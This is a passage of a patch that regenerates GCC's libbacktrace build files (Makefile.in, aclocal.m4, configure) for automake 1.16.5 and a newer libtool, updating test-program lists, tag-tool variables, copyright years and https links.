++@NATIVE_TRUE@ unittest_alloc$(EXEEXT) btest$(EXEEXT)
++@HAVE_ELF_TRUE@@NATIVE_TRUE@am__EXEEXT_5 = btest_lto$(EXEEXT)
++@NATIVE_TRUE@am__EXEEXT_6 = btest_alloc$(EXEEXT) stest$(EXEEXT) \
++@NATIVE_TRUE@ stest_alloc$(EXEEXT)
++@HAVE_ELF_TRUE@@NATIVE_TRUE@am__EXEEXT_7 = ztest$(EXEEXT) \
++@HAVE_ELF_TRUE@@NATIVE_TRUE@ ztest_alloc$(EXEEXT)
++@NATIVE_TRUE@am__EXEEXT_8 = edtest$(EXEEXT) edtest_alloc$(EXEEXT)
++@HAVE_PTHREAD_TRUE@@NATIVE_TRUE@am__EXEEXT_9 = ttest$(EXEEXT) \
++@HAVE_PTHREAD_TRUE@@NATIVE_TRUE@ ttest_alloc$(EXEEXT)
++@HAVE_COMPRESSED_DEBUG_TRUE@@NATIVE_TRUE@am__EXEEXT_10 = \
++@HAVE_COMPRESSED_DEBUG_TRUE@@NATIVE_TRUE@ ctestg$(EXEEXT) \
++@HAVE_COMPRESSED_DEBUG_TRUE@@NATIVE_TRUE@ ctesta$(EXEEXT) \
++@HAVE_COMPRESSED_DEBUG_TRUE@@NATIVE_TRUE@ ctestg_alloc$(EXEEXT) \
++@HAVE_COMPRESSED_DEBUG_TRUE@@NATIVE_TRUE@ ctesta_alloc$(EXEEXT)
++@HAVE_DWARF5_TRUE@@NATIVE_TRUE@am__EXEEXT_11 = dwarf5$(EXEEXT) \
++@HAVE_DWARF5_TRUE@@NATIVE_TRUE@ dwarf5_alloc$(EXEEXT)
++@NATIVE_TRUE@am__EXEEXT_12 = mtest$(EXEEXT)
++@HAVE_ELF_TRUE@am__EXEEXT_13 = xztest$(EXEEXT) xztest_alloc$(EXEEXT)
++am__EXEEXT_14 = $(am__EXEEXT_4) $(am__EXEEXT_5) $(am__EXEEXT_6) \
++ $(am__EXEEXT_7) $(am__EXEEXT_8) $(am__EXEEXT_9) \
++ $(am__EXEEXT_10) $(am__EXEEXT_11) $(am__EXEEXT_12) \
++ $(am__EXEEXT_13)
+ LTLIBRARIES = $(noinst_LTLIBRARIES)
+ am__DEPENDENCIES_1 =
+ am_libbacktrace_la_OBJECTS = atomic.lo dwarf.lo fileline.lo posix.lo \
+@@ -220,35 +249,6 @@ libbacktrace_instrumented_alloc_la_OBJECTS = \
+ libbacktrace_noformat_la_OBJECTS = \
+ $(am_libbacktrace_noformat_la_OBJECTS)
+ @NATIVE_TRUE@am_libbacktrace_noformat_la_rpath =
+-@NATIVE_TRUE@am__EXEEXT_1 = allocfail$(EXEEXT)
+-@HAVE_ELF_TRUE@@HAVE_OBJCOPY_DEBUGLINK_TRUE@@NATIVE_TRUE@am__EXEEXT_2 = b2test$(EXEEXT)
+-@HAVE_DWZ_TRUE@@HAVE_ELF_TRUE@@HAVE_OBJCOPY_DEBUGLINK_TRUE@@NATIVE_TRUE@am__EXEEXT_3 = b3test$(EXEEXT)
+-@NATIVE_TRUE@am__EXEEXT_4 = test_elf_32$(EXEEXT) test_elf_64$(EXEEXT) \
+-@NATIVE_TRUE@ test_macho$(EXEEXT) test_xcoff_32$(EXEEXT) \
+-@NATIVE_TRUE@ test_xcoff_64$(EXEEXT) test_pecoff$(EXEEXT) \
+-@NATIVE_TRUE@ test_unknown$(EXEEXT) unittest$(EXEEXT) \
+-@NATIVE_TRUE@ unittest_alloc$(EXEEXT) btest$(EXEEXT)
+-@HAVE_ELF_TRUE@@NATIVE_TRUE@am__EXEEXT_5 = btest_lto$(EXEEXT)
+-@NATIVE_TRUE@am__EXEEXT_6 = btest_alloc$(EXEEXT) stest$(EXEEXT) \
+-@NATIVE_TRUE@ stest_alloc$(EXEEXT)
+-@HAVE_ELF_TRUE@@NATIVE_TRUE@am__EXEEXT_7 = ztest$(EXEEXT) \
+-@HAVE_ELF_TRUE@@NATIVE_TRUE@ ztest_alloc$(EXEEXT)
+-@NATIVE_TRUE@am__EXEEXT_8 = edtest$(EXEEXT) edtest_alloc$(EXEEXT)
+-@HAVE_PTHREAD_TRUE@@NATIVE_TRUE@am__EXEEXT_9 = ttest$(EXEEXT) \
+-@HAVE_PTHREAD_TRUE@@NATIVE_TRUE@ ttest_alloc$(EXEEXT)
+-@HAVE_COMPRESSED_DEBUG_TRUE@@NATIVE_TRUE@am__EXEEXT_10 = \
+-@HAVE_COMPRESSED_DEBUG_TRUE@@NATIVE_TRUE@ ctestg$(EXEEXT) \
+-@HAVE_COMPRESSED_DEBUG_TRUE@@NATIVE_TRUE@ ctesta$(EXEEXT) \
+-@HAVE_COMPRESSED_DEBUG_TRUE@@NATIVE_TRUE@ ctestg_alloc$(EXEEXT) \
+-@HAVE_COMPRESSED_DEBUG_TRUE@@NATIVE_TRUE@ ctesta_alloc$(EXEEXT)
+-@HAVE_DWARF5_TRUE@@NATIVE_TRUE@am__EXEEXT_11 = dwarf5$(EXEEXT) \
+-@HAVE_DWARF5_TRUE@@NATIVE_TRUE@ dwarf5_alloc$(EXEEXT)
+-@NATIVE_TRUE@am__EXEEXT_12 = mtest$(EXEEXT)
+-@HAVE_ELF_TRUE@am__EXEEXT_13 = xztest$(EXEEXT) xztest_alloc$(EXEEXT)
+-am__EXEEXT_14 = $(am__EXEEXT_4) $(am__EXEEXT_5) $(am__EXEEXT_6) \
+- $(am__EXEEXT_7) $(am__EXEEXT_8) $(am__EXEEXT_9) \
+- $(am__EXEEXT_10) $(am__EXEEXT_11) $(am__EXEEXT_12) \
+- $(am__EXEEXT_13)
+ @NATIVE_TRUE@am_allocfail_OBJECTS = allocfail-allocfail.$(OBJEXT) \
+ @NATIVE_TRUE@ allocfail-testlib.$(OBJEXT)
+ allocfail_OBJECTS = $(am_allocfail_OBJECTS)
+@@ -536,7 +536,7 @@ am__v_at_0 = @
+ am__v_at_1 =
+ DEFAULT_INCLUDES = -I.@am__isrc@
+ depcomp =
+-am__depfiles_maybe =
++am__maybe_remake_depfiles =
+ COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
+ $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
+ LTCOMPILE = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \
+@@ -579,8 +579,8 @@ am__can_run_installinfo = \
+ n|no|NO) false;; \
+ *) (install-info --version) >/dev/null 2>&1;; \
+ esac
+-am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) \
+- $(LISP)config.h.in
++am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) $(LISP) \
++ config.h.in
+ # Read a list of newline-separated strings from the standard input,
+ # and print each of them once, without duplicates. Input order is
+ # *not* preserved.
+@@ -597,9 +597,6 @@ am__define_uniq_tagged_files = \
+ unique=`for i in $$list; do \
+ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+ done | $(am__uniquify_input)`
+-ETAGS = etags
+-CTAGS = ctags
+-CSCOPE = cscope
+ AM_RECURSIVE_TARGETS = cscope check recheck
+ am__tty_colors_dummy = \
+ mgn= red= grn= lgn= blu= brg= std=; \
+@@ -783,6 +780,7 @@ am__set_TESTS_bases = \
+ bases='$(TEST_LOGS)'; \
+ bases=`for i in $$bases; do echo $$i; done | sed 's/\.log$$//'`; \
+ bases=`echo $$bases`
++AM_TESTSUITE_SUMMARY_HEADER = ' for $(PACKAGE_STRING)'
+ RECHECK_LOGS = $(TEST_LOGS)
+ TEST_SUITE_LOG = test-suite.log
+ TEST_EXTENSIONS = @EXEEXT@ .test
+@@ -825,8 +823,11 @@ CLOCK_GETTIME_LINK = @CLOCK_GETTIME_LINK@
+ COMM = @COMM@
+ CPP = @CPP@
+ CPPFLAGS = @CPPFLAGS@
++CSCOPE = @CSCOPE@
++CTAGS = @CTAGS@
+ CYGPATH_W = @CYGPATH_W@
+ DEFS = @DEFS@
++DLLTOOL = @DLLTOOL@
+ DSYMUTIL = @DSYMUTIL@
+ DUMPBIN = @DUMPBIN@
+ DWZ = @DWZ@
+@@ -834,6 +835,7 @@ ECHO_C = @ECHO_C@
+ ECHO_N = @ECHO_N@
+ ECHO_T = @ECHO_T@
+ EGREP = @EGREP@
++ETAGS = @ETAGS@
+ EXEEXT = @EXEEXT@
+ EXTRA_FLAGS = @EXTRA_FLAGS@
+ FGREP = @FGREP@
+@@ -854,6 +856,7 @@ LN_S = @LN_S@
+ LTLIBOBJS = @LTLIBOBJS@
+ MAINT = @MAINT@
+ MAKEINFO = @MAKEINFO@
++MANIFEST_TOOL = @MANIFEST_TOOL@
+ MKDIR_P = @MKDIR_P@
+ NM = @NM@
+ NMEDIT = @NMEDIT@
+@@ -886,6 +889,7 @@ abs_builddir = @abs_builddir@
+ abs_srcdir = @abs_srcdir@
+ abs_top_builddir = @abs_top_builddir@
+ abs_top_srcdir = @abs_top_srcdir@
++ac_ct_AR = @ac_ct_AR@
+ ac_ct_CC = @ac_ct_CC@
+ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ am__leading_dot = @am__leading_dot@
+@@ -1178,8 +1182,8 @@ Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+ echo ' $(SHELL) ./config.status'; \
+ $(SHELL) ./config.status;; \
+ *) \
+- echo ' cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe)'; \
+- cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe);; \
++ echo ' cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__maybe_remake_depfiles)'; \
++ cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__maybe_remake_depfiles);; \
+ esac;
+ $(top_srcdir)/../multilib.am $(am__empty):
+
+@@ -1211,6 +1215,15 @@ backtrace-supported.h: $(top_builddir)/config.status $(srcdir)/backtrace-support
+ install-debuginfo-for-buildid.sh: $(top_builddir)/config.status $(srcdir)/install-debuginfo-for-buildid.sh.in
+ cd $(top_builddir) && $(SHELL) ./config.status $@
+
++clean-checkPROGRAMS:
++ @list='$(check_PROGRAMS)'; test -n "$$list" || exit 0; \
++ echo " rm -f" $$list; \
++ rm -f $$list || exit $$?; \
++ test -n "$(EXEEXT)" || exit 0; \
++ list=`for p in $$list; do echo "$$p"; done | sed 's/$(EXEEXT)$$//'`; \
++ echo " rm -f" $$list; \
++ rm -f $$list
++
+ clean-checkLTLIBRARIES:
+ -test -z "$(check_LTLIBRARIES)" || rm -f $(check_LTLIBRARIES)
+ @list='$(check_LTLIBRARIES)'; \
+@@ -1248,15 +1261,6 @@ libbacktrace_instrumented_alloc.la: $(libbacktrace_instrumented_alloc_la_OBJECTS
+ libbacktrace_noformat.la: $(libbacktrace_noformat_la_OBJECTS) $(libbacktrace_noformat_la_DEPENDENCIES) $(EXTRA_libbacktrace_noformat_la_DEPENDENCIES)
+ $(AM_V_CCLD)$(LINK) $(am_libbacktrace_noformat_la_rpath) $(libbacktrace_noformat_la_OBJECTS) $(libbacktrace_noformat_la_LIBADD) $(LIBS)
+
+-clean-checkPROGRAMS:
+- @list='$(check_PROGRAMS)'; test -n "$$list" || exit 0; \
+- echo " rm -f" $$list; \
+- rm -f $$list || exit $$?; \
+- test -n "$(EXEEXT)" || exit 0; \
+- list=`for p in $$list; do echo "$$p"; done | sed 's/$(EXEEXT)$$//'`; \
+- echo " rm -f" $$list; \
+- rm -f $$list
+-
+ allocfail$(EXEEXT): $(allocfail_OBJECTS) $(allocfail_DEPENDENCIES) $(EXTRA_allocfail_DEPENDENCIES)
+ @rm -f allocfail$(EXEEXT)
+ $(AM_V_CCLD)$(allocfail_LINK) $(allocfail_OBJECTS) $(allocfail_LDADD) $(LIBS)
+@@ -1959,7 +1963,7 @@ $(TEST_SUITE_LOG): $(TEST_LOGS)
+ test x"$$VERBOSE" = x || cat $(TEST_SUITE_LOG); \
+ fi; \
+ echo "$${col}$$br$${std}"; \
+- echo "$${col}Testsuite summary for $(PACKAGE_STRING)$${std}"; \
++ echo "$${col}Testsuite summary"$(AM_TESTSUITE_SUMMARY_HEADER)"$${std}"; \
+ echo "$${col}$$br$${std}"; \
+ create_testsuite_report --maybe-color; \
+ echo "$$col$$br$$std"; \
+@@ -1972,7 +1976,7 @@ $(TEST_SUITE_LOG): $(TEST_LOGS)
+ fi; \
+ $$success || exit 1
+
+-check-TESTS:
++check-TESTS: $(check_PROGRAMS) $(check_LTLIBRARIES) $(check_DATA)
+ @list='$(RECHECK_LOGS)'; test -z "$$list" || rm -f $$list
+ @list='$(RECHECK_LOGS:.log=.trs)'; test -z "$$list" || rm -f $$list
+ @test -z "$(TEST_SUITE_LOG)" || rm -f $(TEST_SUITE_LOG)
+@@ -1982,7 +1986,7 @@ check-TESTS:
+ log_list=`echo $$log_list`; trs_list=`echo $$trs_list`; \
+ $(MAKE) $(AM_MAKEFLAGS) $(TEST_SUITE_LOG) TEST_LOGS="$$log_list"; \
+ exit $$?;
+-recheck: all $(check_LTLIBRARIES) $(check_PROGRAMS) $(check_DATA)
++recheck: all $(check_PROGRAMS) $(check_LTLIBRARIES) $(check_DATA)
+ @test -z "$(TEST_SUITE_LOG)" || rm -f $(TEST_SUITE_LOG)
+ @set +e; $(am__set_TESTS_bases); \
+ bases=`for i in $$bases; do echo $$i; done \
+@@ -2260,7 +2264,7 @@ xztest_alloc.log: xztest_alloc$(EXEEXT)
+ @am__EXEEXT_TRUE@ $(am__common_driver_flags) $(AM_TEST_LOG_DRIVER_FLAGS) $(TEST_LOG_DRIVER_FLAGS) -- $(TEST_LOG_COMPILE) \
+ @am__EXEEXT_TRUE@ "$$tst" $(AM_TESTS_FD_REDIRECT)
+ check-am: all-am
+- $(MAKE) $(AM_MAKEFLAGS) $(check_LTLIBRARIES) $(check_PROGRAMS) \
++ $(MAKE) $(AM_MAKEFLAGS) $(check_PROGRAMS) $(check_LTLIBRARIES) \
+ $(check_DATA)
+ $(MAKE) $(AM_MAKEFLAGS) check-TESTS
+ check: check-am
+diff --git a/libbacktrace/aclocal.m4 b/libbacktrace/aclocal.m4
+index 528e6173930..d88a5ec84f2 100644
+--- a/libbacktrace/aclocal.m4
++++ b/libbacktrace/aclocal.m4
+@@ -1,6 +1,6 @@
+-# generated automatically by aclocal 1.15.1 -*- Autoconf -*-
++# generated automatically by aclocal 1.16.5 -*- Autoconf -*-
+
+-# Copyright (C) 1996-2017 Free Software Foundation, Inc.
++# Copyright (C) 1996-2021 Free Software Foundation, Inc.
+
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -20,7 +20,7 @@ You have another version of autoconf. It may work, but is not guaranteed to.
+ If you have problems, you may need to regenerate the build system entirely.
+ To do so, use the procedure documented by the package, typically 'autoreconf'.])])
+
+-# Copyright (C) 2002-2017 Free Software Foundation, Inc.
++# Copyright (C) 2002-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -32,10 +32,10 @@ To do so, use the procedure documented by the package, typically 'autoreconf'.])
+ # generated from the m4 files accompanying Automake X.Y.
+ # (This private macro should not be called outside this file.)
+ AC_DEFUN([AM_AUTOMAKE_VERSION],
+-[am__api_version='1.15'
++[am__api_version='1.16'
+ dnl Some users find AM_AUTOMAKE_VERSION and mistake it for a way to
+ dnl require some minimum version. Point them to the right macro.
+-m4_if([$1], [1.15.1], [],
++m4_if([$1], [1.16.5], [],
+ [AC_FATAL([Do not call $0, use AM_INIT_AUTOMAKE([$1]).])])dnl
+ ])
+
+@@ -51,14 +51,14 @@ m4_define([_AM_AUTOCONF_VERSION], [])
+ # Call AM_AUTOMAKE_VERSION and AM_AUTOMAKE_VERSION so they can be traced.
+ # This function is AC_REQUIREd by AM_INIT_AUTOMAKE.
+ AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION],
+-[AM_AUTOMAKE_VERSION([1.15.1])dnl
++[AM_AUTOMAKE_VERSION([1.16.5])dnl
+ m4_ifndef([AC_AUTOCONF_VERSION],
+ [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl
+ _AM_AUTOCONF_VERSION(m4_defn([AC_AUTOCONF_VERSION]))])
+
+ # AM_AUX_DIR_EXPAND -*- Autoconf -*-
+
+-# Copyright (C) 2001-2017 Free Software Foundation, Inc.
++# Copyright (C) 2001-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -110,7 +110,7 @@ am_aux_dir=`cd "$ac_aux_dir" && pwd`
+
+ # AM_CONDITIONAL -*- Autoconf -*-
+
+-# Copyright (C) 1997-2017 Free Software Foundation, Inc.
++# Copyright (C) 1997-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -143,7 +143,7 @@ fi])])
+
+ # Do all the work for Automake. -*- Autoconf -*-
+
+-# Copyright (C) 1996-2017 Free Software Foundation, Inc.
++# Copyright (C) 1996-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -171,6 +171,10 @@ m4_defn([AC_PROG_CC])
+ # release and drop the old call support.
+ AC_DEFUN([AM_INIT_AUTOMAKE],
+ [AC_PREREQ([2.65])dnl
++m4_ifdef([_$0_ALREADY_INIT],
++ [m4_fatal([$0 expanded multiple times
++]m4_defn([_$0_ALREADY_INIT]))],
++ [m4_define([_$0_ALREADY_INIT], m4_expansion_stack)])dnl
+ dnl Autoconf wants to disallow AM_ names. We explicitly allow
+ dnl the ones we care about.
+ m4_pattern_allow([^AM_[A-Z]+FLAGS$])dnl
+@@ -207,7 +211,7 @@ m4_ifval([$3], [_AM_SET_OPTION([no-define])])dnl
+ [_AM_SET_OPTIONS([$1])dnl
+ dnl Diagnose old-style AC_INIT with new-style AM_AUTOMAKE_INIT.
+ m4_if(
+- m4_ifdef([AC_PACKAGE_NAME], [ok]):m4_ifdef([AC_PACKAGE_VERSION], [ok]),
++ m4_ifset([AC_PACKAGE_NAME], [ok]):m4_ifset([AC_PACKAGE_VERSION], [ok]),
+ [ok:ok],,
+ [m4_fatal([AC_INIT should be called with package and version arguments])])dnl
+ AC_SUBST([PACKAGE], ['AC_PACKAGE_TARNAME'])dnl
+@@ -230,8 +234,8 @@ AC_REQUIRE([AM_PROG_INSTALL_STRIP])dnl
+ AC_REQUIRE([AC_PROG_MKDIR_P])dnl
+ # For better backward compatibility. To be removed once Automake 1.9.x
+ # dies out for good. For more background, see:
+-# <http://lists.gnu.org/archive/html/automake/2012-07/msg00001.html>
+-# <http://lists.gnu.org/archive/html/automake/2012-07/msg00014.html>
++# <https://lists.gnu.org/archive/html/automake/2012-07/msg00001.html>
++# <https://lists.gnu.org/archive/html/automake/2012-07/msg00014.html>
+ AC_SUBST([mkdir_p], ['$(MKDIR_P)'])
+ # We need awk for the "check" target (and possibly the TAP driver). The
+ # system "awk" is bad on some platforms.
+@@ -259,6 +263,20 @@ AC_PROVIDE_IFELSE([AC_PROG_OBJCXX],
+ [m4_define([AC_PROG_OBJCXX],
+ m4_defn([AC_PROG_OBJCXX])[_AM_DEPENDENCIES([OBJCXX])])])dnl
+ ])
++# Variables for tags utilities; see am/tags.am
++if test -z "$CTAGS"; then
++ CTAGS=ctags
++fi
++AC_SUBST([CTAGS])
++if test -z "$ETAGS"; then
++ ETAGS=etags
++fi
++AC_SUBST([ETAGS])
++if test -z "$CSCOPE"; then
++ CSCOPE=cscope
++fi
++AC_SUBST([CSCOPE])
++
+ AC_REQUIRE([AM_SILENT_RULES])dnl
+ dnl The testsuite driver may need to know about EXEEXT, so add the
+ dnl 'am__EXEEXT' conditional if _AM_COMPILER_EXEEXT was seen. This
+@@ -298,7 +316,7 @@ END
+ Aborting the configuration process, to ensure you take notice of the issue.
+
+ You can download and install GNU coreutils to get an 'rm' implementation
+-that behaves properly: <http://www.gnu.org/software/coreutils/>.
++that behaves properly: <https://www.gnu.org/software/coreutils/>.
+
+ If you want to complete the configuration process using your problematic
+ 'rm' anyway, export the environment variable ACCEPT_INFERIOR_RM_PROGRAM
+@@ -340,7 +358,7 @@ for _am_header in $config_headers :; do
+ done
+ echo "timestamp for $_am_arg" >`AS_DIRNAME(["$_am_arg"])`/stamp-h[]$_am_stamp_count])
+
+-# Copyright (C) 2001-2017 Free Software Foundation, Inc.
++# Copyright (C) 2001-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -364,7 +382,7 @@ AC_SUBST([install_sh])])
+ # Add --enable-maintainer-mode option to configure. -*- Autoconf -*-
+ # From Jim Meyering
+
+-# Copyright (C) 1996-2017 Free Software Foundation, Inc.
++# Copyright (C) 1996-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -399,7 +417,7 @@ AC_MSG_CHECKING([whether to enable maintainer-specific portions of Makefiles])
+
+ # Fake the existence of programs that GNU maintainers use. -*- Autoconf -*-
+
+-# Copyright (C) 1997-2017 Free Software Foundation, Inc.
++# Copyright (C) 1997-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -420,12 +438,7 @@ AC_DEFUN([AM_MISSING_HAS_RUN],
+ [AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl
+ AC_REQUIRE_AUX_FILE([missing])dnl
+ if test x"${MISSING+set}" != xset; then
+- case $am_aux_dir in
+- *\ * | *\ *)
+- MISSING="\${SHELL} \"$am_aux_dir/missing\"" ;;
+- *)
+- MISSING="\${SHELL} $am_aux_dir/missing" ;;
+- esac
++ MISSING="\${SHELL} '$am_aux_dir/missing'"
+ fi
+ # Use eval to expand $SHELL
+ if eval "$MISSING --is-lightweight"; then
+@@ -438,7 +451,7 @@ fi
+
+ # Helper functions for option handling. -*- Autoconf -*-
+
+-# Copyright (C) 2001-2017 Free Software Foundation, Inc.
++# Copyright (C) 2001-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -467,7 +480,7 @@ AC_DEFUN([_AM_SET_OPTIONS],
+ AC_DEFUN([_AM_IF_OPTION],
+ [m4_ifset(_AM_MANGLE_OPTION([$1]), [$2], [$3])])
+
+-# Copyright (C) 1999-2017 Free Software Foundation, Inc.
++# Copyright (C) 1999-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -514,7 +527,7 @@ AC_LANG_POP([C])])
+ # For backward compatibility.
+ AC_DEFUN_ONCE([AM_PROG_CC_C_O], [AC_REQUIRE([AC_PROG_CC])])
+
+-# Copyright (C) 2001-2017 Free Software Foundation, Inc.
++# Copyright (C) 2001-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -533,7 +546,7 @@ AC_DEFUN([AM_RUN_LOG],
+
+ # Check to make sure that the build environment is sane. -*- Autoconf -*-
+
+-# Copyright (C) 1996-2017 Free Software Foundation, Inc.
++# Copyright (C) 1996-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -614,7 +627,7 @@ AC_CONFIG_COMMANDS_PRE(
+ rm -f conftest.file
+ ])
+
+-# Copyright (C) 2009-2017 Free Software Foundation, Inc.
++# Copyright (C) 2009-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -674,7 +687,7 @@ AC_SUBST([AM_BACKSLASH])dnl
+ _AM_SUBST_NOTMAKE([AM_BACKSLASH])dnl
+ ])
+
+-# Copyright (C) 2001-2017 Free Software Foundation, Inc.
++# Copyright (C) 2001-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -702,7 +715,7 @@ fi
+ INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s"
+ AC_SUBST([INSTALL_STRIP_PROGRAM])])
+
+-# Copyright (C) 2006-2017 Free Software Foundation, Inc.
++# Copyright (C) 2006-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -721,7 +734,7 @@ AC_DEFUN([AM_SUBST_NOTMAKE], [_AM_SUBST_NOTMAKE($@)])
+
+ # Check how to create a tarball. -*- Autoconf -*-
+
+-# Copyright (C) 2004-2017 Free Software Foundation, Inc.
++# Copyright (C) 2004-2021 Free Software Foundation, Inc.
+ #
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+diff --git a/libbacktrace/configure b/libbacktrace/configure
+index e5ca8ad9379..b7c4c4be78d 100755
+--- a/libbacktrace/configure
++++ b/libbacktrace/configure
+@@ -680,7 +680,10 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
++ac_ct_AR
+ AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -701,6 +704,9 @@ AM_BACKSLASH
+ AM_DEFAULT_VERBOSITY
+ AM_DEFAULT_V
+ AM_V
++CSCOPE
++ETAGS
++CTAGS
+ am__untar
+ am__tar
+ AMTAR
+@@ -798,6 +804,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_largefile
+ enable_cet
+@@ -1458,6 +1465,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+ --with-system-libunwind use installed libunwind
+
+ Some influential environment variables:
+@@ -4047,7 +4056,7 @@ libtool_VERSION=1:0:0
+ # -Wall: Issue all automake warnings.
+ # -Wno-portability: Don't warn about constructs supported by GNU make.
+ # (because GCC requires GNU make anyhow).
+-am__api_version='1.15'
++am__api_version='1.16'
+
+ # Find a good install program. We prefer a C program (faster),
+ # so one script is as good as another. But avoid the broken or
+@@ -4220,12 +4229,7 @@ ac_script='s/[\\$]/&&/g;s/;s,x,x,$//'
+ program_transform_name=`$as_echo "$program_transform_name" | sed "$ac_script"`
+
+ if test x"${MISSING+set}" != xset; then
+- case $am_aux_dir in
+- *\ * | *\ *)
+- MISSING="\${SHELL} \"$am_aux_dir/missing\"" ;;
+- *)
+- MISSING="\${SHELL} $am_aux_dir/missing" ;;
+- esac
++ MISSING="\${SHELL} '$am_aux_dir/missing'"
+ fi
+ # Use eval to expand $SHELL
+ if eval "$MISSING --is-lightweight"; then
+@@ -4551,8 +4555,8 @@ MAKEINFO=${MAKEINFO-"${am_missing_run}makeinfo"}
+
+ # For better backward compatibility. To be removed once Automake 1.9.x
+ # dies out for good. For more background, see:
+-# <http://lists.gnu.org/archive/html/automake/2012-07/msg00001.html>
+-# <http://lists.gnu.org/archive/html/automake/2012-07/msg00014.html>
++# <https://lists.gnu.org/archive/html/automake/2012-07/msg00001.html>
++# <https://lists.gnu.org/archive/html/automake/2012-07/msg00014.html>
+ mkdir_p='$(MKDIR_P)'
+
+ # We need awk for the "check" target (and possibly the TAP driver). The
+@@ -4571,6 +4575,20 @@ am__tar='$${TAR-tar} chof - "$$tardir"' am__untar='$${TAR-tar} xf -'
+
+
+
++# Variables for tags utilities; see am/tags.am
++if test -z "$CTAGS"; then
++ CTAGS=ctags
++fi
++
++if test -z "$ETAGS"; then
++ ETAGS=etags
++fi
++
++if test -z "$CSCOPE"; then
++ CSCOPE=cscope
++fi
++
++
+
+ # POSIX will say in a future version that running "rm -f" with no argument
+ # is OK; and we want to be able to make that assumption in our Makefile
+@@ -4603,7 +4621,7 @@ END
+ Aborting the configuration process, to ensure you take notice of the issue.
+
+ You can download and install GNU coreutils to get an 'rm' implementation
+-that behaves properly: <http://www.gnu.org/software/coreutils/>.
++that behaves properly: <https://www.gnu.org/software/coreutils/>.
+
+ If you want to complete the configuration process using your problematic
+ 'rm' anyway, export the environment variable ACCEPT_INFERIOR_RM_PROGRAM
+@@ -5446,8 +5464,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -5487,7 +5505,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -6180,8 +6198,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
